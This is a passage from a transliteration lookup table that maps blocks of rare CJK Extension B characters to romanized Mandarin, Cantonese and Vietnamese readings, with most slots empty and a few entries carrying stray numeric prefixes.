'','','','','qia ','','','','','','','','','','Hui ','',
'','Pai ','','','','','','','','ju ','','','Qia ','','','',
'','','','','','','','Bao ','','','','','','','','',
'','','','','','Cun ','','','qia ','','','','','','','',
'','','','','','','','','','','','','','Peng ','','',
'','','','','','','','','','Gaai ','','','','','','',
'','','','zhe ','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','Got ','Bam ','','','','','','','','','','gun ','Lou ','','',
'Jiao ','','','','','','','','','','','','','','','',
'','','','','','','','','','','','yao ','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','Hoat ','','','','','','','','','','',
'','','','','','','','','','','','ze ,bai','','','','',
],
'x208':[
'','','','','zhao ','','','','','Bua ','','','','','','',
'','Tet ','','','du ','','','','','','','','','','','',
'du ','','','','','','','','','Truoc ','','','','Chom ','','die ',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','Gang ','','','','','',
'','','','','','','','','','','','','','','','',
'','duan ','','','','','','','','','Khuot ','','','','','',
'','','','','','','','han ','','','','','','','','',
'','Nhoc ','','','','','','','','','juan ','','','Vam ','Giup ','Giup ',
'','','','dian ','Jue ','','','','','','','','Lu ','','','',
'','','','','','','','','','','','','','','','',
'','','Ruon ','','','','','','','10383.060,wan ','','','','','','',
'yun ','','','','','','','','','','','','','','','',
'','','','','','','','','','','qu ','shao ','','','','',
'','','','pao ','','','','','','','bao ','','','','fu ','jiu ',
],
'x209':[
'','','','','','','Cho ','','','','','','Cho ','','hua ','Bao ',
'','','','','','','','','','','','','','mao ','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','diao ','','','',
'','','','','','','','','','','','','','','wei ','',
'','diao ','','','','','','','','','','','','','','',
'','','','','Giau ','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','sa ','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','luan ','Muoi ','','','','','','Gan ',
'','','','','','','','','','Chuc ','','Lung ','','','','',
'','','','','','','Tron ','yu ','','','','','','Nhu ','','',
'','','','','','he ','','','','shao ','','','','','','',
'','','','','','','','','','Hui ','','','','','','',
'','','','','','','','','','','','','','','','heng ',
],
'x20a':[
'','','','wai ','','','','','','','jue ','','','','zhuan ','',
'','','','','','','','','','','','','','','','',
'','','jun ','','','','','','','','','','','ju ','','',
'','','','','','bang ','','','','','','','','','','',
'','','','','','','','','zhu ','','','','','','','',
'','','','','','Me ','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','Li ','','','','','',
'','','','mei ','','','','','','','','','','','','',
'liu ','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','fu ','','','','',
'','','','jue ','','Day ','','','','','','','','','','Rot ',
'','','','','','','','','','','','','','','','',
'','','','yu ','','','','','','','','','','','tu ','',
'','','','','','','','','','shan ','','','','','','',
],
'x20b':[
'','','','','','','guan ','','','','','','','','','',
'','','Cut ','','','','','','','','','Mo ','','fu ','','',
'Mot ','','','bang ','','','','','','','biao ','','','','jie ','',
'','','','','','','Jin ','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','Zhuo ','','','','','bian ','','','','','','tun ',
'','','','','','','','','','','de ','','zhu ','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','Naai ','Leo ','','','','','','',
'','','','','','mang ','','','','','','','','','Ngot ','sa ,san',
'','','','','','','','','Daai6','','','Jai ','','','','',
'','','','zhe ','','','','','ban ','jie ','','','','','','',
'','','','','','','Thet ','','','','','','','','Hin ','pian ',
'','','','','bian ','','','reng ','','reng ','','','Danh ','Chui ','','',
],
'x20c':[
'','','Ngoen ','','','','','','','','','Jaau ','Mut ','','','Mom ',
'','an ','','he ','','','','','','Khen ','','hu ,gao','','','','',
'','','','','','','','','','','','','','Meo ','','',
'','','Eot ','','','','','Lo ','','','dai ','wai ,wai','','','','',
'','Tam ','Dat ','Nip ','','Quai ','','','','','','','','Phom ','','',
'','','','Ngai ','','','','','Ngaak6','','','','Chun ','','','',
'','sa ,shai','','','','Fik ','','','','','','','','','','',
'','','na ','','','','','Ming ','San ','','','','','','','',
'','','','','','','','','','','','','shu ','','','Nham ',
'','','','Hang ','','','E ','','','','','','Gianh ','','','',
'','','','','','','Nhung ','','','','','','','','Khinh ','',
'','ge ','','','','Mep ','','die ','','','','','','fu ','','Shu ',
'','Kwan ','','','','','','he ','','','','','qia ','','','Ce ',
'Vang ','','','','','Caau ','Dap6','','Nhu ','Thay ','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','Tu ','','','','','','','cheng ','','',
],
'x20d':[
'','','','','','','','','','','','Phao ','Nhanh ','Nhan ','','Mang ',
'Nuc ','','','','','Miu ','Voi ','','','','','Gung ','','','','',
'','xiao ','','','','Ngoam ','zhu ','','','','','Thut ','','','','',
'Gau6','hu ','ta ','Ngaau ','','zao ','','','','','','','dao ','','na ','',
'','','','','','','Daam ','Koe ','Mui ','Hong ','','','','','','',
'Mep ','','','','','','','','Mun ','','','','','','','',
'','','','ya ','','','','zhen ,chun','de ','Go ','','','','','','Gwit ',
'','E ','','','','','','xuan ','','','','','Mang ','Faat ','Waak ','Pe ',
'Tham ','Nhu ','','','','','','','Se ','','Pha ','','','','','',
'','U ','','','','Nhau ','Uong ','','Sat ','Bop ','','','Zai ','','','',
'','Troi ','Du ','Mai ','','Khung ','','Dim6','','','','da ','nang ','','','Chut ',
'','','Gap6','','','','','','jue ','he ','','','','','','',
'','','dai ','','','zhu ','','','','','','','','ta ','','',
'','','','','','','bian ','','','xu ','','','','','','',
'','','','','Phao ','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
],
'x20e':[
'','pai ','Giot ','','Inh ','','','','','Kak ','Tap ','','','Me ','Naa ','Ge ',
'Kam ','Soek ','Bou ','','','','','Xua ','Tuc ','Song ','','','','','','Bai ',
'','','','','','','Khan ','','','','','Tau ','','','','',
'','','','','','','','','','yu ','Ngaak6','','','','Map ','',
'xun ','wa ','','ang ','han ','','','','','','','','Lan ','','','',
'','yao ','','ge ','','bao ','','','xu ','','','','','','','',
'','','','','','','','','','','','','','Ko ','','',
'','','','Git6','','','','Ngo ','Kam ','Lan ','Maai ','Zam6','','Cay ','','',
'','','','','','','','','','','','','Gwe ','','','',
'huan ','','','','','','','','Long ','Thoi ','Ban ','','','Gaak ','','ku ',
'Lung ','','Gaa ','','','','','','','Trou ','He ','Loe ','He ','','','',
'','Hung ','','','','Chac ','Nop ','','','Ri ','Que ','Cop ','Xui ','','Chau ','Ngoan ',
'','Guong ','Ngon ','Han ','Oang ','','','','','','','','','huan ','','zu ',
'','','','','','','','Le ','Zeot6','he ','','','','','','',
'','','','','Don ','zhao ','','','','','','','tu ','','','',
'','','','','Long ','','','','','','Aa6','Bai ','Dau6','','','',
],
'x20f':[
'','','','','','','','','','','','','','','','',
'','','','','','Paai ','','Zaam ','wu ','','','','','','','',
'','','jiang ,qiang','','','','Muon ','','','lun ','Day ','','','But ','Ngai ','Ho ',
'Kang ','Loe ','','','','Danh ','','Thay ','','','','Ji ','','','','',
'','Xo ','','Zap ','Tham ','Thung ','Nuot ','','','','','Nac ','Toet ','','Nhai ','',
'Ngo ','','Neng ','Ngon ','Thua ','','Giuc ','','','','','Oam ','','','','',
'','','','','Kik ','','','','','','','','','','','',
'','','','','','yu ','','','','','','zhe ','','','','',
'Hup ','','','','','','','','','','','','','He ','','Ce ',
'','','','','','','','','','','','Ngoang ','','','','',
'','','shu ','Rum ','','','Bai ','','','la ','','','','We ','','',
'','','','','Baang ','Zaa ','Ging ','','','Nuot ','','','Cyut ','Nhun ','Nhap ','',
'','Si ','Xep ','','','','','','','','','','','','','',
'','','Het ','sa ','','qiao ','','','','','','Lu ','hua ','','','',
'','','','','','','','','','','Gaa ','Saau ','Soe ','Wet ','','Ngui ',
'','','','','','Khan ','','','','','','','','','','',
],
'x210':[
'','','','','','','','','','','','','','','','',
'','','','','Lu ','','','','','','','','','Nam6','Zip ','',
'Bei6','','','','','Phao ','','','','Lok ','','Bam ','','','','',
'','Hao ','Cay ','','','','','Ron ','','','xie ','','','','','',
'han ','','','','','','','','fan ','','','','','ai ','yu ','Am ',
'','','','','','','','','','','Hon ','','Wo ','Hang ','Xao ','',
'','','','','','','','','','','','','','','','Dyut ',
'','','','zhan ','','Gan ','Zit ','Doeng ','Kwaat ','','Ngon ','Ziu ','','','','',
'Khao ','','','Hun ','','','','Mom ','Voc ','','yu ','','','Eng ','','',
'','Ban ','','','','','Lai ','','','','','','','Zuk6','','bao ',
'','shu ','','','','','','','','','Ze ','peng ','','','Ngau ','',
'Ran ','','Ray ','Troi ','','','','Khoan ','','','','','','','','',
'E ','Leng ','','','lai ','','','Bai6','Kwaak ','Gaa ','','','','Chem ','Phan ','Doe6',
'','','Boc ','Bo ','','Gung ','Le ','Mua ','','Mut ','','','','lun ','','',
'','','','','Laai6','','','','','','','','','','','',
'','','','','Ceoi ','Ngung ','Sek ','','','Chen ','','','','','Phac ','Thot ',
],
'x211':[
'','Lum ','','','','','','','','','','','','Ruc ','Gam ','Ham ',
'','','dao ','','','','','','','','','','','','','Haa ',
'','Chay ','','','','','Lom ','','','Khan ','Toe ','Khem ','Hun ','','','Jik ',
'Tot ','cu ','ru ','','','Ji ','','','','luan ','','','','Soe ','','',
'','','','','','e ,ei','','','Laa ','Dang ','Bun ','Hum ','','','','Lai ',
'Lanh ','Ngong ','','','','','','','la ','yun ','','','','','','',
'','','','','','die ','','Nan ','','','','','Hoai ','','','',
'','huan ','','','','','','','','','','huan ','','','','',
'Gwang ','Nhau ','','','Nhep ','wan ','','Wok ','','','','','','','','',
'','Nham ','','','','lian ','Trom ','','','','Gu ','','','','Giau ','',
'','','','','','jiu ','','','','','','','','','','',
'dun ','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','die ','','','','','','Doe ','','','','','he ','',
'zhe ','','','','','','wei ','','','tu ','','','','','','hun ',
'','','','','','dang ','he ','tai ','Quay ','','yu ','Nhot ','ya ','','','',
],
'x212':[
'','','','','','jue ','','','','','','','','','Mui ','',
'','','','yuan ','','','','','','You ','','','','','','',
'','','','','','','','','yu ','','','','','','','',
'','','','','','','lei ','','','','','','','','','',
'','','','','','','','','','','','','','','Cong ','',
'','','tun ','','','','Cong ','','','','','','','','','',
'','','','','','','','','','bao ','','','','','','',
'','','','','lu ,hu','','','jie ','','','','','','','Tum ','Moc ',
'','','','','','','','','','','','','','shu ','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','Sanh ','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','gao ',
'','','','','','','','','','de ','','','yu ','','','',
'','','','','','','','','','','','','','','','',
],
'x213':[
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','guai ','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'hu ','','','','','','','','Che ','Vung ','Lam ','','Mun ','Nui ','','',
'','','','','','zhai ','','','du ','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','du ','','','','','','',
'','an ','','','','','','','','','','Bun ','Nam ','','','Hang ',
'','','','','','','','','','','','','','Thong ','su ','',
'','','','','Gung ','','','','','','zhu ','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','xia ','','','','','','','',
'','Luong ','','','','Tret ','Xay ','Bui ','','','','','','','','bai ',
'','','','','','','','','','','','','','','','',
],
'x214':[
'','','','','','','','','','','','','chu ','','','',
'','','','','','','xian ','Hoc ','','','','','','fu ','','',
'','','','','','sa ','','','','','','','','','Ve ','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','Coi ','Chum ','','','','Thoai ','','','','','','Lan ','Sui ','',
'','','','','','','','','','','','','','Coi ','','',
'','','Gom ','','','','','','','','','','','','yu ','',
'','sa ','','Juk ','Lan ','','','','','','yu ','','','ju ','','',
'','','shu ','xian ','','','gai ','','','','','','','','','',
'','','','','','','','','','','','Cau ','','','Suong ','',
'','','','','','','','','','','','','','','','',
'','','','Loi ','Vung ','','','','','','','','','','','San ',
'','','lai ','','Lam ','','','','','','','','','','','',
'','','','','','Chen ','zhan ','','','','','','','','','Chum ',
'','','','','','','','','','','','','','','','',
],
'x215':[
'','','','','','','','','','','','','','','','',
'','','','','Lan ','','','','','','','','','','','',
'','','','','','','','','','','shu ','','','','','',
'','','','','yu ','','','','','','','','','','','Trau ',
'','','','','','','','','','','','','','','','',
'','','kua ','','','','','hai ','','','','','','','','',
'','','','','','','','hang ','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','yun ','','','','','','','','','','','','','',
'','','','','','','','','','','guai ','','','','','su ',
'','Bon ','','','','','','','','','','','','','','',
'','','Sai ','','','','','','','','','Lam ','','','Tum ','',
'Muong ','','','','','','','Peng ','','','','','','','','',
'','','','','','chun ','','','','','','','','','','',
'','','','','','','','','','fan ','','','','','','',
],
'x216':[
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','zhe ','Mat ','Lon ',
'juan ','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','jie ','','','','','','','bie ','','','','','',
'','','','','Canh ','Nhon ','','','','','','','','','','',
'','Bi ','','Xon ','','','','yan ','wei ','','','','hao ','','','',
'','','','','meng ','','','','','','Lon ','','','','','',
'jue ','To ','To ','','','','Hai ','','','','','','','','','',
'','','','','','','','','','zhang ','','da ','','hao ','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','can ','','',
'','','','','Nua ','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
],
'x217':[
'fan ','','hu ','','','','','','','','','','','','','',
'','','','','','','','','','','ru ','','','','','',
'','','','','','','','','','','','','','','','zhe ',
'','Ji ','gao ','','','','','','','','','','','','','',
'','','','Bua ','','','','','chu ','','zhe ','','','','','',
'','','','','Kep ','Va ','','','','','cheng ','','du ','','','nian ',
'','','','','','','Vu ','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','cu ','','','pan ',
'hu ','','','xian ','','','','','','','fu ','nai ','','','','',
'','','','','','','','','','','','','','','Nen ','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','lian ','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
],
'x218':[
'','','','','','','','','','','','','','','','',
'','','','','','','hao ','','yang ','','','','','','fu ','',
'','','','Cuoi ','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'juan ','','Nhang ','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','qu ','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'zhuan ','','','','','','','','dang ','','','','','','','',
'Sau ','','','','','','','','','','man ','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','Sui ','','',
'','','','','','','','','shu ','','','','','','','',
'','','','','han ','Ban ','','','','','','','','','','',
'','','nei ','','','','','','Cuoi ','','','','','','cai ','jie ',
'','','','','','','','','','','','Sen ','','','','',
],
'x219':[
'','','','','','','','','','','Chua ','','','','fan ','',
'','','','Moi ','Moi ','','','zhu ','','na ','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','jiao ','','','','Nhat ','xiao ','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','Con ','ju ,ru','','','','','','Me ','','','',
'','xu ','','','fu ','So ','','','','','','','','','','',
'','','','','','er ','','','','','','shu ','','','','',
'','','','','','','','Rot ','','','','Chat ','','','Nhang ','',
'','','','xiao ','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','mian ','','','','','wa ','','pao ','','','','','','',
'','','','','','','heng ','','zhu ','','','','','','','',
'','','','','','','','','','dai ','','','','','','',
],
'x21a':[
'','','','','Xia ','ju ','','','','','','','','','','',
'','','','','','','','zao ','','','','','','','','',
'','','','yu ','','','','Tot ','','','','','','','','',
'','','jie ','','Ning ','nai ','','','','','','','','','','yu ',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','jie ','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','an ','','','Xum ','','','',
'ceng ','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','Sao ','','','','','','','','','','','','','','',
'','','','','','','Lung ','','','','','','','','','',
],
'x21b':[
'','','','','','','','','Xuong ','sai ','yu ','jiao ','','','','',
'','','','','','','','','20960.020,lao ','','','','','','yu ','',
'','','','','','','','','','','','wu ','','','','',
'','','','','','','','Tac ','','','','','Gang ','','','',
'','','de ','','','','','','','Ban ','','','','','','',
'shuan ','','','','','Cut ','','','','','','','Mon ','','','',
'','','bai ','','','','','Chut ','','','','','Be ','','','',
'','Chut ','Trut ','kao ','','','','','luan ','','','Nhon ','','','','',
'','','','','','','Mon ','Chut ','','Mon ','','May ','Be ','Chut ','','',
'','','','Choai ','','','','','','nai ','','','','','','',
'May ','','','Be ','Be ','Be ','Zao ','','','Be ','','Nhen ','Mon ','Nhon ','Mon ','',
'','','Tho ','','','Chuong ','Chuong ','','Nhon ','','','','','Nhon ','','',
'Oat ','','','','','','','wu ','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'ga ','','','','chao ','','','','','','','','','ga ','','',
],
'x21c':[
'','','','','','hu ','','','','','','','','','','',
'qiao ','','','','','','','','','','','','','','','',
'','','xie ','','','','','','','','Duk ','','','','','',
'','','','','','','','','','','','','','ai ','','pu ',
'','','','','','','Shu ','','','','','','','','','',
'','','','','','','','','','','','','zhao ','','','',
'','','','xu ','','','','','','Thuoc ','','','','','','',
'','zhu ','','','','','','die ','Gang ','','qu ','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','Ti ','','jue ','','','qiu ','','','','','',
'','','Ke ','jiang ','','','','','','','yun ','','Gwat6','','','',
'qu ','','','','','','','','','','','','','','','',
'Ngoe ','','kai ','Cuoi ','','','','','','','','','','','','',
'','chu ','','','','','','','ju ','','','','Cuoi ','Rot ','','',
'','','','','','Toi ','','','','','','','','','','',
'','','','Cuoi ','lu ','','','','','','','','','','jue ','',
],
'x21d':[
'','','','','','','lu ','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','ya ','','',
'','hu ,jie','','','','','','','','','','','','','','',
'','','','','','','','','','Ngut ','','','','','','',
'','','','','','','','','hu ','ang ','','fu ','','','','',
'','','','','','','','','','','','','mu ','','','',
'','','','','','','','','','','Cu ','','','','','',
'Nui ','','yao ','ai ','','','','','','fan ','','ju ','','','','',
'qie ','','','','','','','','','','','','','','','',
'','','kuang ','','','','ya ','','Ngan ','','kan ','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','lu ',
'','','','','','','','','bie ','','','han ','','na ','','',
'','','','','wu ','gao ','','','','','','','','','','',
'','','','','','','','','','','','ya ','','','','',
],
'x21e':[
'','','','','','','','','','','','','zhu ','','jie ','Voi ',
'','','','','xie ','','','ya ','','','','','','','','',
'','','','','','','ze ','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','ya ','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'Nghi ','','','','','','','','','','','','','die ','','',
'','','','','','','','','','hu ','','','','','','',
'','','','','','','','','','','','','','','','',
'','die ','','','','','','','','','','','pen ','','','',
'','','','','','','Din ','','','','','','','','','',
'','','','','tu ','','','xia ','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','Voi ','','Seoi ','Von ','Chon ','','','','','','','','',
'zhu ','','','','','','','','gun ','man ','','','zu ','','hu ','',
'','lei ','','','','','','','','','','','','','','',
],
'x21f':[
'','','','','die ','','','','','','','','','','','',
'','','','dian ','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','wei ','','','','','','','','','','','','','kuai ','',
'','','','','','yun ','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','Non ','','','','',
'','Jie ','bang ','','','','','','','','','','','','','',
'','','','','','','','kuang ','','','','','','','','',
'','','','ceng ','','dang ','','','','','','','','','','',
'','','','','','','','','hai ','','','','Doc ','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','nang ','','',
'','','','','','yu ','','','','','','','','','','yu ',
'','','','','','','','','','','Nao ','','xun ','','ju ','',
],
'x220':[
'','','','','','','','','','','','','','','','',
'','','','','','','','wan ','','','','','','','','',
'','','','','','Vang ','Sua ','Tron ','Sang ','','','','Lon ','','Sam ','',
'','To ','Lon ','','','han ','','','','','','','fu ','','','',
'fu ','','','','','','','','','','','Trang ','','Va ','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','jue ','','','','','',
'','','','','','','','','Phuon ','','','bu ','','','','',
'fu ','','','','xuan ','','fu ','','','','','','','','Du ','',
'xie ','Shi ','','','','','','','','','','','Vua ','','','',
'','','','','','','','','','','','','','','','',
'Tranh ','yuan ','','','','','','','','mao ','qian ','','','','','',
'wu ','','','','','','','Lei ','Long ','','Vua ','','','','','',
'','','','','','Ta ','','han ','qian ','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','la ','','','','','','','','','','','',
],
'x221':[
'','','','Phoi ','','','','','','','','','','he ,ge','bang ','',
'meng ','','','wu ','dai ','','','','','','','','han ','Bau ','','',
'','','','','','','','cu ','','','','','','','','Man ',
'','','','','','xiang ','Hua ','','','','','','','','','',
'','','','','','','Manh ','','','mao ','','ceng ','','','','Lian ',
'','','dan ','','','','Lian ','','','','','','','dian ','','',
'','','','','gai ','Ju ','','','','','zu ','','Chan ','','','',
'','','','','','','','','','yao ','','','nei ','','','',
'','','neng ','','','','','','','','','','','','','',
'','','','','','','','','','','','','ge ','','Jian ','',
'Lai ','Nin ','','','','Nam ','jian ','May ','May ','','May ','','','','','',
'hu ','','','','','','','','','','chen ','','','','','',
'','','','','','','','Guan ','yan ','Doi ','','','','','','',
'','','','','','','','sha ','','','','','','','han ','',
'','Khuya ','','','','','ren ','','','','fan ','','','','','',
'','','','','bu ','na ','','','','','','','','','','',
],
'x222':[
'','','','','','','','','Nap ','','','','','','','',
'','','','','','bai ','','','Roku ','','','kun ','','qiu ','','',
'cu ,la','','','','','','','','','','','','','','','',
'','','pu ','','','','','','','','','jie ','','zhan ','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','du ,tu','','','',
'','','hu ','','jia ','','','','la ','','','','','','','',
'','','','','','','','','','','','','','Kho ','U ','ma ',
'','','','','','','','','','','','','','Zu ','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','yu ','','lu ','','','','','','',
'','fen ','','','','','','','','','','','','','','',
'','','','','','yu ','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','xian ','',
'','','','','','','','','','wu ','','','','','','',
],
'x223':[
'','','','','qu ','','','','','','Rong ','','Rong ','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','fu ','','yu ','','','','',
'','','','','','','','','','','','','','','gao ','juan ',
'','','','','','quan ','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','die ','','','','','','dai ','','su ','',
'','','','','jie ','','qu ','','han ','','','','','','','',
'','jie ','','','','juan ','','','','','dan ','','','','','',
'','','','','','hu ','','','','jue ','','yu ','','','','',
'','','','','','','','','','','','','','fu ','','',
'','Ban ','','','','','','','','','','','','','','',
'','','Cong ','Cong ','xun ','','','','','','','','','liu ','','',
'','','','Beng ','','','','jue ','','','','','','','','Von ',
],
'x224':[
'','','','','yuan ','','','','','','','','','','Khom ','',
'','','','','','','','','','','','','','','cheng ','',
'','','','','','','','King ','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','jiu ','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','hu ','','','','','','',
'','','','','','','','','','','','','','','Bay ','',
'','','fu ','','chu ','','','','','','','','','','lan ','',
'','','','','','','','','','','','','','','','',
'yu ','','','','','','','','','','','','','','jiao ','',
'','','','','','','','','','','','ang ','','','','',
'','','','','sa ','','','','','','','','ge ','','','',
'','','kua ','','','','','','','','','','xie ','','','',
'','','wu ,hu','','','xiu ','','','','','','','','','','',
],
'x225':[
'','','yan ','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','yu ','','','yu ','','','','','','','yu ','','','',
'','','liu ','','20832.030,yu ','','','','','','','','','','','',
'','','','','','shuai ','','','','','','yuan ','','','','',
'','shuai ','','','','','','','','','','','','','','ao ',
'','','','','','','','','','','jiao ','','sa ','xian ','zha ','dian ',
'','','','','','','','','San ','','','shan ','','','','',
'Suot ','','','','','','','','tiao ','','','','','','','su ',
'','','','','','Sau ','Sau ','','','','','','','xian ','','',
'','yu ','','','','','jue ','nang ','','','','','','','','',
'','','','','','ru ','','','','','','','','','','',
'','','','','xia ','','','','','Nuoi ','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','wu ','','','','','','','chang ','','Lo ','','','',
],
'x226':[
'','','','','qiu ','Maau ','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','Rung ','Rap ','',
'','','','','','','','','Jiang ','','','','','','','',
'','wu ','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','Hung ','','','','','','','','','Nhon ','E ','Tim ','kan ','',
'','Lung6','','','','','','','','','','','','','','',
'xian ','','','','','','ju ','','','','','miao ','','','','',
'','su ','','','','','Ti ','','','','','','','','','',
'','','','','','','','','','','hu ','','','','','',
'','','','','','','','','','Khuay ','','zhu ','Ngop ','','','',
'','','','qiu ','ya ','','','','','','','','','','bie ','',
'','','','','','','xiang ','','','','ru ','wang ','','','','ya ',
'','','','','','','','','yu ','','','','','','','',
'','','','','Mang ','Zang ','','','','','','','','','','',
],
'x227':[
'','','','','','','','','','','','','','','','',
'','','','','','','','Vung ','','','','','','','','',
'','','','','','','','','','','','Xing ','Duo ','','','',
'','','','','','','sao ','','Nao ','','','','','','','jia ',
'tu ','','du ','','','','','','','','','','mao ','yao ','','',
'','','','','','','','','','Vui ','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','wu ','Fit ','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'hai ','','','','','','','','','','','','','','','gao ',
'','','','','','','fu ','','','','','','','liu ','','',
'','','','','','Fit ','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'Chua ','','Nan ','','','Nep ','','','Chac ','Cham ','','','','','','',
'','','','yang ','','','','','','','','','','','','',
'ai ','teng ','','','','','','','','Nhuoc ','','','','','','',
],
'x228':[
'','','','Geng6','Sung ','Thung ','','','','','','','','','','',
'Ngo ','','','','','','','','','','','','','','','',
'','sao ','','','','Gan ','Hon ','','','Mo ','','shu ','','','','Lang ',
'','','fu ','Bie ','','Tang ','','xiang ','','','','','','dang ','','',
'','','dang ','','','','','','','','','','','ge ','yu ','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'zhao ','','','','','','','','','','','','','','','',
'','','Ghet ','','Ngung ','','','','','','','','chang ','zhe ','','',
'','','su ','','','','','','','','kai ','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','Khan ','','',
'Ngay ','','','','Quo ','','','','','','','','','','','ai ',
'','','','','','','','','','','','','','','','',
'liu ','','','','','','','Khuay ','','','','','','','','',
'','','','','','','','','','Hung ','','','','','','chu ',
],
'x229':[
'','sao ','','','','','','','','','','','','','','',
'liu ','','','','','','','','meng ','','zhan ','','','Cham ','','',
'','','','','zhuang ','','','','','','','','','','','',
'','','','','','','','','','Goe ','','','','','','',
'','','teng ','zhu ','','','Lung ','','Lo ','','','','','','','',
'','','','','','','Trai ','','xie ','','jiao ','','','','Chong ','',
'Sung ','','','','','','','','','','','','','','','',
'','','','','','','','Ngoi ','','','','','','','','',
'','','Laan ','','','','','','','','','','qu ','','qiu ','Zai ',
'','','','','','','','','','','hua ','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','','shu ','','','','','','','','',
'','','','','','','','','','','','','','','','',
'','','','','','','han ','ge ','','','','','','','','',
'','','Ta ','','','','','','','','','','','','','',
],
'x22a':[
'','','','','','','','','','','','','','','','jue ',
'','','','','','','','zei ','','','','','jie ','','','',
'','','','','','hu ','hu ','','','','','chu ','','','','',
'','','','','','','','','','','','','','','','',
'','ju ','','','zhu ','','','','','','Quanh ','','','','','',
'','','','ge ','','','','','','','','','Ho ','','','',
'','','shan ','','Muon ','','Zit ','Hat ','','','','','','Thuon ','Dat ','jue ',
'','','','','','','','','hai ','xia ','','','','','Chop ','',
'','','','cu ','','','','','','','','','','','','',
'','','','','','','','Vuc ','','','','','','','','',
'','','','','','','','','','','','','','','','',
'Ngat ','Vat ','Nang ','','','','','Muc ','','','','','','','zhang ','',
'','','','Keo ','','That ','Vun ','','','','','','Tha ','','','Kam ',
'jie ','','','','','Wing ','Trot ','','So ','','','','Trum ','Rung ','Quay ','',
'','','','Bac ','','','Haku ','','Ngung ','','','Lat ','','nu ','','',
'zhe ','','','','','zu ','','','','','','nie ','','','','',
],
'x22b':[
